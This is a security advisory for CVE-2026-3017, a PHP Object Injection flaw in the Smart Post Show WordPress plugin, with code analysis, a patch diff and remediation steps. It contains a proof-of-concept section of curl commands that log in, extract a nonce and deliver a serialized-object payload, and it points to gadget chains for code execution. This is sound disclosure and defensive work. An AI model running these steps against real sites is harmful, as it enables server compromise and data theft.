Smart Post Show WordPress plugin banner

CVE-2026-3017: PHP Object Injection in Smart Post Show

CVE-2026-3017 is a CVSS 7.2 (High) PHP Object Injection vulnerability in the Smart Post Show – Post Grid, Post Carousel & Slider, and List Category Posts WordPress plugin. An authenticated attacker with Administrator-level access can inject a PHP object through the plugin’s shortcode import feature. If a POP chain — a sequence of existing code that attackers chain together to run malicious actions — exists in any other installed plugin or theme, this vulnerability can be used to delete arbitrary files, retrieve sensitive data, or execute arbitrary code.

Vulnerability Summary

FieldValue
Plugin NameSmart Post Show – Post Grid, Post Carousel & Slider, and List Category Posts
Plugin Slugpost-carousel
CVE IDCVE-2026-3017
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypePHP Object Injection via Deserialization of Untrusted Data
Affected Versions<= 3.0.12
Patched Version3.0.13
PublishedApril 13, 2026
ResearcherVilaysone CHANTHAVONG (0xJ0cKkY) — Cyberus Technologies
Wordfence AdvisoryLink

Description

The Smart Post Show plugin for WordPress is vulnerable to PHP Object Injection in all versions up to and including 3.0.12. The flaw lives in the import_shortcodes() function, which deserializes untrusted input without restricting what PHP classes can be instantiated. This makes it possible for authenticated attackers with Administrator-level access to inject a PHP object. No POP chain exists inside the vulnerable plugin itself, so this vulnerability has no impact on its own. If a POP chain is installed through another plugin or theme, however, an attacker can use it to delete arbitrary files, retrieve sensitive data, or execute code on the server.

Technical Analysis

Vulnerable Code Path

The vulnerability is triggered through the plugin’s shortcode import feature. The full execution path is:

1. Hook Registration (includes/class-smart-post-show.php, line 226)

$this->loader->add_action( 'wp_ajax_pcp_import_shortcodes', $import_export, 'import_shortcodes' );

This registers the pcp_import_shortcodes WordPress admin-AJAX action, reachable at wp-admin/admin-ajax.php for authenticated users only (no wp_ajax_nopriv_ counterpart).

2. import_shortcodes() AJAX Handler (includes/class-smart-post-show-import-export.php, lines 186–247)

public function import_shortcodes() {
    // Verify nonce.
    $nonce = ( ! empty( $_POST['nonce'] ) ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
    if ( ! wp_verify_nonce( $nonce, 'spf_options_nonce' ) ) {
        wp_send_json_error( ... , 401 );
    }

    // Check user capabilities.
    $_capability = apply_filters( 'sp_post_carousel_import_export_user_capability', 'manage_options' );
    if ( ! current_user_can( $_capability ) ) {
        wp_send_json_error( ... );
    }

    // Get and validate input data.
    $data = isset( $_POST['shortcode'] ) ? sanitize_text_field( wp_unslash( $_POST['shortcode'] ) ) : '';

    // Decode JSON — handles single and double-encoded JSON.
    $decoded_data = json_decode( $data, true );
    if ( is_string( $decoded_data ) ) {
        $decoded_data = json_decode( $decoded_data, true );
    }

    // Sanitize each string value in the decoded array.
    $shortcodes = map_deep(
        $decoded_data['shortcode'],
        function ( $value ) {
            return is_string( $value ) ? sanitize_text_field( $value ) : $value;
        }
    );

    $status = $this->import( $shortcodes );  // <-- passes to import()
    ...
}

3. import() — The Vulnerable Call (includes/class-smart-post-show-import-export.php, lines 127–179, key line: 151)

public function import( $shortcodes ) {
    foreach ( $shortcodes as $index => $shortcode ) {
        ...
        if ( isset( $shortcode['meta'] ) && is_array( $shortcode['meta'] ) ) {
            foreach ( $shortcode['meta'] as $key => $value ) {
                $meta_key = sanitize_key( $key );

                // VULNERABLE LINE:
                $meta_value = maybe_unserialize( str_replace( '{#ID#}', $new_shortcode_id, $value ) );
                //             ^^^^^^^^^^^^^^^^
                // maybe_unserialize() calls PHP's unserialize() with NO class restrictions.
                // If $value is a PHP-serialized object string, this instantiates the object.

                update_post_meta( $new_shortcode_id, $meta_key, $meta_value );
            }
        }
        ...
    }
}

4. Frontend Nonce Exposure (admin/views/sp-framework/assets/js/spf.js, lines 2162–2196)

The JavaScript reads the nonce from a hidden input field and sends it to the AJAX endpoint:

$('.pcp_import button.import').on('click', function (event) {
    var $im_nonce = $('#spf_options_noncesp_post_carousel_tools').val();
    var reader = new FileReader();
    reader.readAsText(pcp_shortcodes);
    reader.onload = function (event) {
        var jsonObj = JSON.stringify(event.target.result); // double-encode file contents
        $.ajax({
            url: ajaxurl,
            type: 'POST',
            data: {
                shortcode: jsonObj,
                action: 'pcp_import_shortcodes',
                nonce: $im_nonce,
            },
            ...
        });
    }
});

The nonce spf_options_noncesp_post_carousel_tools is rendered as a hidden <input> on the plugin’s Tools admin page (wp-admin/admin.php?page=pcp_tools):

// options.class.php, line 772
wp_nonce_field( 'spf_options_nonce', 'spf_options_nonce' . $this->unique );
// $this->unique = 'sp_post_carousel_tools' for the Tools page

Root Cause

The root cause is the use of maybe_unserialize() on attacker-controlled data without restricting instantiable classes.

// VULNERABLE (3.0.12)
$meta_value = maybe_unserialize( str_replace( '{#ID#}', $new_shortcode_id, $value ) );

WordPress’s maybe_unserialize() calls PHP’s unserialize() with no class restrictions. Any class loaded in memory can be instantiated from a crafted serialized string. This allows an attacker to trigger magic methods (__destruct, __wakeup, __toString, etc.) in any installed plugin or theme that provides a usable POP chain.

Failure of Existing Controls

The import_shortcodes() function applies sanitize_text_field() to the incoming POST data twice:

  1. Once on the entire raw JSON string (line 200) before JSON-decoding it.
  2. Once on each string value inside the decoded array, via map_deep() (lines 229–234).

sanitize_text_field() does NOT prevent PHP Object Injection. The function removes HTML tags, strips null bytes, and normalizes whitespace. PHP serialized strings (e.g., O:9:"SomeClass":1:{s:4:"prop";s:3:"foo";}) contain no HTML tags and survive sanitization completely intact.

The nonce and capability checks did not help here. This is an authenticated vulnerability — an Administrator can simply visit the Tools page to get a valid nonce.

Attack Impact

An authenticated attacker with Administrator-level access can inject a PHP object of any class loaded in the WordPress runtime. On its own (with no POP chain present), the impact is limited. However, if another installed plugin or theme provides a usable POP chain, the attacker can chain it to:

Most WordPress sites run multiple plugins, so the real-world risk is higher than the standalone score suggests.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Authenticate and retrieve cookies + nonce

Log in to WordPress as an Administrator and navigate to the plugin’s Tools page to retrieve the nonce:

TARGET="https://your-wordpress-site.local"

# Log in and save the session cookie
curl -c /tmp/wp-cookies.txt -s -X POST "${TARGET}/wp-login.php" \
  -d "log=admin&pwd=admin_password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check" \
  -L -o /dev/null

echo "Logged in. Cookies saved to /tmp/wp-cookies.txt"

Step 2: Extract the nonce from the Tools admin page

# Fetch the Smart Post Show Tools page and extract the nonce
NONCE=$(curl -s -b /tmp/wp-cookies.txt \
  "${TARGET}/wp-admin/admin.php?page=pcp_tools" \
  | grep -oP '(?<=id="spf_options_noncesp_post_carousel_tools" value=")[^"]+')

echo "Nonce: $NONCE"

Step 3: Craft a malicious import JSON payload

Create a file /tmp/malicious-import.json with a PHP serialized object as a meta value. The payload below uses a generic stdClass object for demonstration. Real exploitation requires a POP chain in an installed plugin or theme.

cat > /tmp/malicious-import.json << 'EOF'
{
  "shortcode": [
    {
      "title": "Injected Post",
      "original_id": 1,
      "meta": {
        "_sps_shortcode_options": "O:8:\"stdClass\":1:{s:4:\"test\";s:36:\"PHP Object Injection - CVE-2026-3017\";}"
      }
    }
  ],
  "metadata": {
    "version": "3.0.12",
    "date": "2026/04/13"
  }
}
EOF

echo "Malicious payload ready at /tmp/malicious-import.json"

To chain a real POP attack, replace the O:8:\"stdClass\":... value with a serialized gadget payload present on the target system. For example, if the Monolog library is available, a Monolog\Handler\SyslogUdpHandler chain can execute arbitrary code.

Step 4: Deliver the payload via the AJAX endpoint

The JavaScript double-encodes the file contents via JSON.stringify(). Replicate this:

# Double-encode: the shortcode POST param is a JSON string of the file contents
PAYLOAD=$(cat /tmp/malicious-import.json | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))")

curl -s -b /tmp/wp-cookies.txt \
  -X POST "${TARGET}/wp-admin/admin-ajax.php" \
  --data-urlencode "action=pcp_import_shortcodes" \
  --data-urlencode "nonce=${NONCE}" \
  --data-urlencode "shortcode=${PAYLOAD}"

Step 5: Verify the injected post was created

# Check WordPress posts for the injected entry
curl -s -b /tmp/wp-cookies.txt \
  "${TARGET}/wp-admin/edit.php?post_type=sp_post_carousel" \
  | grep "Injected Post"

If the response contains “Injected Post”, the AJAX handler successfully processed the payload — including running maybe_unserialize() on the attacker-controlled meta value.

Expected Result

The AJAX handler returns {"success":true}. WordPress creates a new sp_post_carousel post with its meta set to the deserialized value of the attacker-controlled string. If a POP chain is available, PHP triggers the target class’s __destruct or __wakeup method during deserialization — executing the chained payload.

Verification

  1. In the WordPress admin, navigate to Smart Post Show → All Post Shows — an “Injected Post” entry will be visible.
  2. Use WP-CLI or direct DB access to inspect the injected meta: wp post meta list <post_id> --allow-root
  3. With a live POP chain, observe the side effect (e.g., a new file created, a network request logged, or command output returned).

Patch Analysis

What Changed

Only one file contains the security-relevant change:

FileChange
includes/class-smart-post-show-import-export.phpReplaced maybe_unserialize() with restricted unserialize() using allowed_classes => false
main.phpVersion bump 3.0.123.0.13
readme.txtChangelog entry and stable tag update

Fix Explanation

The patch replaces the unsafe maybe_unserialize() call with a hardened deserialization block that explicitly disallows all PHP class instantiation:

-// meta value.
-$meta_value = maybe_unserialize( str_replace( '{#ID#}', $new_shortcode_id, $value ) );
+// Raw meta value with placeholder replaced.
+$meta_value_raw = str_replace( '{#ID#}', $new_shortcode_id, $value );
+
+if ( is_string( $meta_value_raw ) && is_serialized( $meta_value_raw ) ) {
+    // Use PHP's native unserialize() with 'allowed_classes' => false to stop object creation.
+    $meta_value = @unserialize(
+        $meta_value_raw,
+        array(
+            'allowed_classes' => false, // Disallow all classes.
+        )
+    );
+
+    // Fallback for blocked objects or invalid serialization.
+    if ( false === $meta_value && 'b:0;' !== $meta_value_raw ) {
+        $meta_value = $meta_value_raw;
+    }
+} else {
+    $meta_value = $meta_value_raw;
+}
+
+// Ensure no object is ever stored in DB.
+if ( is_object( $meta_value ) ) {
+    $meta_value = $meta_value_raw;
+}

Key improvements:

  1. unserialize(..., ['allowed_classes' => false]) — PHP 7.0+ option that prevents instantiation of any class during deserialization. Serialized arrays, booleans, integers, strings, and floats are still decoded normally; only objects are blocked.
  2. Fallback to raw value — if deserialization returns false (which can happen on a blocked object or malformed data), the raw string is stored instead, avoiding data loss.
  3. Explicit object check — a final is_object() guard ensures that even if the unserialize() call somehow returns an object (e.g., stdClass from an array-of-objects), the raw value is stored rather than the object.

Is the fix complete? Yes, for this specific vulnerability class. The allowed_classes => false option is the PHP-native defense against Object Injection via deserialization. Serialized arrays and primitives are still processed correctly for legitimate import payloads, so there is no functional regression.

Residual risk: None specific to this vulnerability. The @ operator suppresses warnings on malformed serialized data, which is acceptable here since the fallback correctly stores the raw value.

Code Diff (Key Changes)

diff --git a/includes/class-smart-post-show-import-export.php b/includes/class-smart-post-show-import-export.php
index a4d8bf3..53cde0e 100644
--- a/includes/class-smart-post-show-import-export.php
+++ b/includes/class-smart-post-show-import-export.php
@@ -147,10 +147,36 @@ class Smart_Post_Show_Import_Export {
 				foreach ( $shortcode['meta'] as $key => $value ) {
 					// meta key.
 					$meta_key = sanitize_key( $key );
-					// meta value.
-					$meta_value = maybe_unserialize( str_replace( '{#ID#}', $new_shortcode_id, $value ) );
 
-					// update meta.
+					// Raw meta value with placeholder replaced.
+					$meta_value_raw = str_replace( '{#ID#}', $new_shortcode_id, $value );
+
+					if ( is_string( $meta_value_raw ) && is_serialized( $meta_value_raw ) ) {
+
+						$meta_value = @unserialize(
+							$meta_value_raw,
+							array(
+								'allowed_classes' => false,
+							)
+						);
+
+						if ( false === $meta_value && 'b:0;' !== $meta_value_raw ) {
+							$meta_value = $meta_value_raw;
+						}
+					} else {
+						$meta_value = $meta_value_raw;
+					}
+
+					if ( is_object( $meta_value ) ) {
+						$meta_value = $meta_value_raw;
+					}
+
 					update_post_meta( $new_shortcode_id, $meta_key, $meta_value );
 				}
 			}

Timeline

DateEvent
UnknownVulnerability discovered and reported by Vilaysone CHANTHAVONG (0xJ0cKkY) of Cyberus Technologies
March 25, 2026Patched version 3.0.13 released by ShapedPlugin LLC
April 13, 2026Publicly disclosed by Wordfence
April 14, 2026Advisory record last updated

Remediation

Update the post-carousel plugin to version 3.0.13 or later via the WordPress admin dashboard (Plugins → Updates) or WP-CLI:

wp plugin update post-carousel

References

  1. Wordfence Advisory — CVE-2026-3017
  2. WordPress Trac Changeset #3490703 (patch commit)
  3. CVE-2026-3017 — NVD / MITRE
  4. PHP Manual — unserialize() with allowed_classes
  5. OWASP — PHP Object Injection

Frequently Asked Questions

What is CVE-2026-3017?

CVE-2026-3017 is a CVSS 7.2 (High) PHP Object Injection vulnerability in the Smart Post Show WordPress plugin that allows an authenticated Administrator to inject a PHP object through the shortcode import feature, potentially enabling file deletion, data theft, or remote code execution if a POP chain exists on the target site.

Which versions of Smart Post Show are affected by CVE-2026-3017?

All versions up to and including 3.0.12 are affected. Version 3.0.13 contains the fix and is safe to use.

What can an attacker do with CVE-2026-3017?

An attacker can inject a PHP object into the server during the shortcode import process. If another installed plugin or theme provides a usable POP chain, this can be chained to delete arbitrary files, steal sensitive data such as credentials or private keys, or execute arbitrary code on the server.

Does an attacker need to be logged in to exploit CVE-2026-3017?

Yes, the attacker must be authenticated with Administrator-level access. Unauthenticated users cannot reach the vulnerable AJAX endpoint.

How do I fix CVE-2026-3017 in Smart Post Show?

Update the Smart Post Show plugin to version 3.0.13 or later. You can do this from the WordPress admin dashboard under Plugins then Updates, or by running wp plugin update post-carousel using WP-CLI.

Has Smart Post Show been patched for CVE-2026-3017?

Yes. ShapedPlugin LLC released version 3.0.13 on March 25, 2026, which replaces the unsafe deserialization call with a hardened approach that explicitly blocks all PHP class instantiation.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee